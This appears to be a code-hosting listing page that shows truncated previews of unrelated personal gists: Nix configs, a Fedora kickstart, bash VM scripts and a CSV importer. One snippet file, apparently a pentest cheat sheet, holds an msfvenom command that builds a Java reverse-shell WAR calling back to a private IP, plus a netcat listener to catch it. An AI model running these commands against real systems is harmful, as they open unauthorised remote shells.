This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import csv | |
import argparse | |
import sys | |
import requests | |
parser = argparse.ArgumentParser() | |
parser.add_argument("--csv", help="CSV to import", required=True) | |
parser.add_argument("--encoding", help="File encoding", default="utf-8") | |
parser.add_argument("--token", help="API token to use", required=True) | |
parser.add_argument("--consumerkey", help="Consumer key token to use", required=True) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
mnemonic | |
libagent | |
ecdsa |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#version=DEVEL | |
# OSTree setup | |
ostreesetup --osname="fedora" --remote="fedora" --url="https://d2uk5hbyrobdzx.cloudfront.net/" --ref="fedora/32/x86_64/silverblue" --nogpg | |
# Reboot after installation | |
reboot | |
# Use text mode install | |
text | |
# Use network installation | |
url --url="https://ftp.fau.de/fedora/linux/releases/32/Everything/x86_64/os/" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ pkgs, lib, ...}: { | |
imports = [ | |
./nixos/modules/profiles/minimal.nix | |
]; | |
boot.isContainer = true; | |
boot.specialFileSystems = lib.mkForce {}; | |
networking.hostName = ""; | |
services.journald.console = "/dev/console"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[[snippets]] | |
description = "create java reverse shell" | |
command = "msfvenom -p java/shell_reverse_tcp LHOST=10.10.14.21 LPORT=4444 -f war > shell.war" | |
tag = ["reverse", "shell", "java", "metasploit", "msfvenom"] | |
output = "" | |
[[snippets]] | |
description = "listen for reverse shell" | |
command = "nc -tnlvp 4444" | |
tag = ["reverse", "shell", "netcat"] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
set -xe | |
target_user="$1" | |
target_home=$(getent passwd $target_user | cut -f6 -d:) | |
# Find free display number | |
for ((display_number=1 ; display_number <= 100 ; display_number++)) ; do | |
[ -e /tmp/.X11-unix/X$display_number ] || break |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[wsl2] | |
kernel=C:\\Users\\JAKA\\vmlinux |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
removeAttrByPath = attrPath: attrs: | |
let | |
recurse = residualPath: currentPath: set: | |
let | |
# if on course continue recursion else just return value | |
g = name: value: | |
if name == lib.head residualPath | |
then recurse (lib.tail residualPath) (currentPath ++ [name]) value | |
else value; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
set -e | |
VIRSH=virsh | |
LIBVIRT_HOST=root@192.168.122.1 | |
LIBVIRT_URI=qemu+ssh://$LIBVIRT_HOST/system | |
POOL=images | |
PROJECT=$1 | |
SHARE_DIR=/storage/share |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
pkgs ? import <nixpkgs> {}, | |
internalDomain ? "cluster.local", | |
externalDomain ? "<domain_name>", | |
serviceClusterIp ? "10.0.0.1" | |
}: | |
let | |
runWithCFSSL = name: cmd: | |
builtins.fromJSON (builtins.readFile ( | |
pkgs.runCommand "${name}-cfss.json" { |